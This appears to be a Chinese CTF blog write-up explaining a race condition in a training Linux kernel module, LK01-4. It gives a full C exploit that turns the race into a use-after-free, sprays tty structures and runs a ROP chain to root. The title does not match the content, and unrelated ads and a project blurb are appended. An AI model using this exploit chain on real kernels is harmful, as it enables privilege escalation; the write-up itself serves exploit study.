tcpaccept内核实现/linux内核ping实现-手把手教信息安全指南

tcpaccept内核实现/linux内核ping实现-手把手教信息安全指南

条件竞争漏洞(Race )是一种在多线程或多进程并发执行时可能导致不正确行为或数据损坏的安全问题。这种漏洞通常发生在多个线程或进程试图访问和修改共享资源(如内存、文件、网络连接等)时,由于执行顺序不确定或没有适当的同步措施,导致竞争条件的发生并且条件竞争在内核中也经常出现。

LK01-4

这里以一道例题作为例子介绍条件竞争在内核中的利用。

open模块

题目链接:.com/h0pe-ay/Ker…

open模块相较于LK01-3增加了锁的判断,当执行过open模块之后,mutex会被设置为1,这样可以避免第二次执行open模块时,有两个文件描述符指向同一块内存。

static int module_open(struct inode *inode, struct file *file){  printk(KERN_INFO "module_open called\n");​  if (mutex) {    printk(KERN_INFO "resource is busy");    return -EBUSY;  }  mutex = 1;​  g_buf = kzalloc(BUFFER_SIZE, GFP_KERNEL);  if (!g_buf) {    printk(KERN_INFO "kmalloc failed");    return -ENOMEM;  }​  return 0;}

例如以下代码,连续执行两遍open模块时,第二次执行会返回-1。

#include #include int main(){    int fd1 = open("/dev/holstein",O_RDWR);    printf("fd1:%d\n",fd1);        int fd2 = open("/dev/holstein",O_RDWR);    printf("fd2:%d\n",fd2);    }

单线程下执行的流程如下。

image-20230924124535907

但是上述情况会在多线程的情况下出现潜在的问题。由于线程1与线程2会切换执行,那么就有可能会出现以下情况,在线程1执行open模块时,在处于判断mutex = 1这个赋值操作之前,而在 == 1这个判断语句之后切换到线程2,那么线程2在执行 == 1时,线程1还没有完成赋值操作,因此线程2会认为是第一次执行open模块,从而获得指向g_buf的文件描述符,而在线程2切回到线程1时,由于此时线程1已经指向完判断语句了,因此也会成功获取指向g_buf的文件描述符,因此会构成存在两个指针指向同一块区域的情况,从而造成后续的UAF漏洞的利用。

image-20230924125005531

POC

为了验证上述的可能性,我们需要创建两个线程并且两个线程需要不断的调用open模块。我们需要注意以下几点。

run.sh

这里可以看到-smp的选项为2,"-smp" 表示 " ",即对称多处理。在虚拟化环境中,这个参数用于设置虚拟机使用的虚拟处理器核心数量。在这种情况下,"-smp 2" 表示将虚拟机配置为使用 2 个虚拟处理器核心,使其能够同时运行两个线程或进程。因此题目给的环境意在使用多线程竞争进行提权。

帮助网安学习,全套资料S信领取:

① 网安学习成长路径思维导图

② 60+网安经典常用工具包

③ 100+SRC漏洞分析报告

④ 150+网安攻防实战技术电子书

⑤ 最权威CISSP 认证考试指南+题库

⑥ 超1800页CTF实战技巧手册

⑦ 最新网安大厂面试题合集(含答案)

⑧ APP客户端安全检测指南(安卓+IOS)

#!/bin/shqemu-system-x86_64 \    -m 64M \    -nographic \    -kernel bzImage \    -append "console=ttyS0 loglevel=3 oops=panic panic=-1 pti=on kaslr" \    -no-reboot \    -cpu qemu64,+smap,+smep \    -smp 2 \    -monitor /dev/null \    -initrd initramfs.cpio.gz \    -net nic,model=virtio \    -net user \    -s

exp

因此提权的过程则是首先使用条件竞争的漏洞使得open模块执行两次,使得两个文件描述符指向同一个内存区域,接着关闭一个文件描述符使得UAF漏洞,并且分配大小属于tty结构体的范围内,因此通过堆喷使得tty结构体被控制,紧接着篡改ops指针为栈迁移的地址,配合ioctl函数控制rdx寄存,将栈迁移到g_buf上,然后就是通过 -> -> de的序列完成提权操作。

#include <stdio.h>#include <fcntl.h>#include <stdlib.h>#include <pthread.h>#include <string.h>//0xffffffff81137da8: push rdx; add byte ptr [rbx + 0x41], bl; pop rsp; pop rbp; ret;//0xffffffff810d5ba9: push rcx; or al, 0; add byte ptr [rax + 0xf], cl; mov edi, 0x8d480243; pop rsp; re//0xffffffff810b13c5: pop rdi; ret;//ffffffff81072580 T prepare_kernel_cred//ffffffff810723e0 T commit_creds//0xffffffff8165094b: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; ret; //0xffffffff81c6bfe0: pop rcx; ret; //ffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode//0xffffffff810012b0: pop rcx; pop rdx; pop rsi; pop rdi; pop rbp; ret;​#define push_rdx_pop_rsp 0x137da8#define pop_rdi_ret 0xb13c5#define prepare_kernel_cred 0x72580#define commit_creds 0x723e0#define pop_rcx_ret 0xc6bfe0#define mov_rdi_rax 0x65094b#define swapgs_restore 0x800e10#define pop_rcx_5 0x12b0​unsigned long user_cs, user_sp, user_ss, user_rflags;​​​void backdoor(){    printf("****getshell****");    system("id");    system("/bin/sh");}​void save_user_land(){    __asm__(        ".intel_syntax noprefix;"        "mov user_cs, cs;"        "mov user_sp, rsp;"        "mov user_ss, ss;"        "pushf;"        "pop user_rflags;"        ".att_syntax;"    );    puts("[*] Saved userland registers");    printf("[#] cs: 0x%lx \n", user_cs);    printf("[#] ss: 0x%lx \n", user_ss);    printf("[#] rsp: 0x%lx \n", user_sp);    printf("[#] rflags: 0x%lx \n", user_rflags);    printf("[#] backdoor: 0x%lx \n\n", backdoor);}​int success = 0;void *thread_function(void *arg) {    while(1)    {        while (!success)        {            int fd = open("/dev/holstein",O_RDWR);            if (fd == 4)                success = 1;            if (fd != -1 && success == 0)                close(fd);        }        if (write(3, "a", 1) != 1 || write(4, "a", 1) != 1)        {            close(3);            close(4);            success = 0;        }         else            break;    }    }int main(){    pthread_t thread_id1, thread_id2;    int spray[200];    save_user_land();    if (pthread_create(&thread_id1, NULL, thread_function, NULL) != 0)    {        fprintf(stderr, "thread error\n");        return 1;    }    if (pthread_create(&thread_id2, NULL, thread_function, NULL) != 0)    {        fprintf(stderr, "thread error\n");        return 1;    }    pthread_join(thread_id1, NULL);    pthread_join(thread_id2, NULL);     char temp[0x20]= {};    write(3, "abcdefg", 7);    read(4, temp, 7);    printf("temp:%s\n", temp);    if (strcmp(temp, "abcdefg"))    {        puts("failure\n");        exit(-1);    }    if (!strcmp(temp,"abcdefg"))    {        printf("sucess\n");        close(4);        for (int i = 0; i < 50; i++)        {            spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);            if (spray[i] == -1)            {                printf("error!\n");                exit(-1);            }        }        char buf[0x400];        read(3, buf, 0x400);        unsigned long *p = (unsigned long *)&buf;        for (unsigned int i = 0; i < 0x80; i++)            printf("[%x]:addr:0x%lx\n",i,p[i]);        unsigned long kernel_address = p[3];        unsigned long heap_address = p[7];        if ((kernel_address >> 32) != 0xffffffff)        {            printf("leak error!\n");            exit(-1);           }        else            printf("leak    sucess\n");        unsigned long kernel_base = kernel_address - 0xc3afe0;        unsigned long g_buf = heap_address - 0x38;        printf("kernel_base:0x%lx\ng_buf:0x%lx\n", kernel_base, g_buf);        //getchar();            *(unsigned long *)&buf[0x18] = g_buf;        p[0xc] = push_rdx_pop_rsp + kernel_base;        //for (unsigned long i = 0xd; i < 0x80; i++)        //  p[i] = g_buf + i;        int index = 0x21;        p[index++] = pop_rdi_ret + kernel_base;        p[index++] = 0;        p[index++] = prepare_kernel_cred + kernel_base;        p[index++] = pop_rcx_5 + kernel_base;        p[index++] = 0;        p[index++] = 0;        p[index++] = 0;        p[index++] = 0;        p[index++] = 0;        p[index++] = mov_rdi_rax + kernel_base;        p[index++] = commit_creds + kernel_base;        p[index++] = swapgs_restore + kernel_base + 22;        p[index++] = 0;        p[index++] = 0;        p[index++] = (unsigned long)backdoor;            p[index++] = user_cs;            p[index++] = user_rflags;            p[index++] = user_sp;            p[index++] = user_ss;               write(3, buf, 0x400);           ioctl(4, 0, g_buf + 0x100);             }    return 0;   }

CPU (CPU 亲和性)

这里作者用了CPU 提高了条件竞争的成功率,在如今多核的处理器下,我们可以将不同的线程绑定在不同的核上,使得线程进程不会进行来回切换的操作,提高执行效率。那么对应在这道题上,我们可以把线程1绑定在CPU 0上运行,线程2绑定在CPU 1上,那么使得线程1与线程2可以并行运行,那么触发漏洞的可能性会大大提升。

首先初始化CPU集合,然后将绑定到指定的核上,然后在线程内部通过 函数设置CPU 亲和性。

#define _GNU_SOURCE#include .h>​...    cpu_set_t t1_cpu, t2_cpu;    CPU_ZERO(&t1_cpu);    CPU_ZERO(&t2_cpu);    CPU_SET(0, &t1_cpu);    CPU_SET(1, &t2_cpu);...    if (pthread_create(&thread_id1, NULL, thread_function, (void *)&t1_cpu) != 0)    {        fprintf(stderr, "thread error\n");        return 1;    }    if (pthread_create(&thread_id2, NULL, thread_function, (void *)&t2_cpu) != 0)    {        fprintf(stderr, "thread error\n");        return 1;    }    ​void *thread_function(void *arg) {    cpu_set_t *cpu_set = (cpu_set_t  *)arg;    int result = sched_setaffinity(gettid(), sizeof(cpu_set_t), cpu_set);    ...}

网络安全学习路线图(思维导图)

网络安全学习路线图可以是一个有助于你规划学习进程的工具。你可以在思维导图上列出不同的主题和技能,然后按照逻辑顺序逐步学习和掌握它们。这可以帮助你更清晰地了解自己的学习进展和下一步计划。

1. 网络安全视频资料

2. 网络安全笔记/面试题

3. 网安电子书PDF资料

如果你向网安入门到进阶的全套资料,我都打包整理好了,需要学习的小伙伴可以V我找我拿~

学网络安全/学黑客,零基础资料整理来啦~~~

~

  • 14
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
毕业设计,基于SpringBoot+Vue+MySQL开发的校园二手书交易平台,源码+数据库+毕业论文+视频演示 信息数据从传统到当代,是一直在变革当中,突如其来的互联网让传统的信息管理看到了革命性的曙光,因为传统信息管理从时效性,还是安全性,还是可操作性等各个方面来讲,遇到了互联网时代才发现能补上自古以来的短板,有效的提升管理的效率和业务水平。传统的管理模式,时间越久管理的内容越多,也需要更多的人来对数据进行整理,并且数据的汇总查询方面效率也是极其的低下,并且数据安全方面永远不会保证安全性能。结合数据内容管理的种种缺点,在互联网时代都可以得到有效的补充。结合先进的互联网技术,开发符合需求的软件,让数据内容管理不管是从录入的及时性,查看的及时性还是汇总分析的及时性,都能让正确率达到最高,管理更加的科学和便捷。本次开发的校园二手书交易平台实现了图书信息查询。系统用到了关系型数据库中MySql作为系统的数据库,有效的对数据进行安全的存储,有效的备份,对数据可靠性方面得到了保证。并且程序也具备程序需求的所有功能,使得操作性还是安全性都大大提高,让校园二手书交易平台更能从理念走到现实,确确实实的让人们提升信息处理效率。 关键字:信息管理,时效性,安全性,MySql;Spring Boot
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值